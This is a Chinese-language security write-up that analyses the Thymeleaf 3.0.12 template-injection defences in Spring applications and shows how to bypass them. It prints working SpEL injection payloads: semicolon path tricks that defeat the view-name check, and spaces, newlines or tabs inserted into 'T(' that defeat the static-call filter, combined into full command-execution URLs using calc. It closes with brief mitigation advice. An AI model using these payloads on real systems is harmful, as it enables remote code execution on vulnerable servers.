JAVA安全之Thymeleaf模板注入防护绕过
字数 1176 2025-08-22 22:47:30
Thymeleaf模板注入防护绕过深度分析
文章前言
本文深入分析了Thymeleaf模板引擎在3.0.12版本中新增的安全防护机制及其绕过方法。当若依CMS等系统使用Thymeleaf模板引擎且存在模板注入可控点时,常规的通用载荷在3.0.12版本中不再生效。本文将详细剖析Thymeleaf的防护措施和有效的绕过技术。
环境搭建与初步测试
测试环境准备
使用spring-view-manipulation项目进行演示:
https://github.com/veracode-research/spring-view-manipulation
原始版本测试(Thymeleaf 3.0.11)
在Thymeleaf 3.0.11版本下,以下载荷可成功触发命令执行:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe/c%20calc%22).getInputStream()).next()%7d__::.x
升级版本测试(Thymeleaf 3.0.12)
修改pom.xml将spring-boot-starter-parent升级到2.5.6版本:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.6</version>
</parent>
使用相同载荷会触发以下异常:
java.lang.IllegalArgumentException: Invalid template name specification: 'user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()}__::.x/welcome'
防护机制分析
第一阶段防护:checkViewNameNotInRequest
在ThymeleafView.renderFragment方法中,3.0.12版本新增了安全检查:
SpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);
检查逻辑详解
-
字符串处理:
- 使用
StringUtils.pack()处理viewName:- 移除所有Java空白字符(Unicode空格、制表符、换行符等)
- 转换为小写
- 使用
-
请求URI处理:
- 获取请求URI:
String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI())) - 检查
requestURI是否包含处理后的viewName
- 获取请求URI:
-
参数检查:
- 遍历所有请求参数,检查参数值是否包含处理后的
viewName
- 遍历所有请求参数,检查参数值是否包含处理后的
绕过方法
通过构造特殊URL路径绕过检查:
/doc;/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
或
/doc/;/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
原理:分号(;)改变了URI解析方式,使checkViewNameNotInRequest检查失效。
第二阶段防护:SpEL表达式限制
即使绕过第一阶段检查,仍会遇到表达式解析限制。
限制机制
在containsSpELInstantiationOrStatic方法中:
-
new关键字检查:
- 反向扫描查找"new"关键字
- 检查前后字符是否符合Java标识符规则
-
T(构造检查:
- 查找"T("模式
- 检查前面字符是否不是Java标识符部分
绕过方法
在"T("之间插入不影响执行的字符:
T (java.lang.String) // 添加空格
T%0a(java.lang.String) // 添加换行符
T%09(java.lang.String) // 添加制表符
完整利用载荷
结合两种绕过方法,构造有效载荷:
/doc;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x
/doc/;/__${T%0a(java.lang.Runtime).getRuntime().exec("calc")}__::.x
防护建议
- 升级到最新Thymeleaf版本
- 对用户输入的视图名称进行严格过滤
- 避免直接将用户输入作为模板名称使用
- 实现自定义的视图解析器,增加额外的安全检查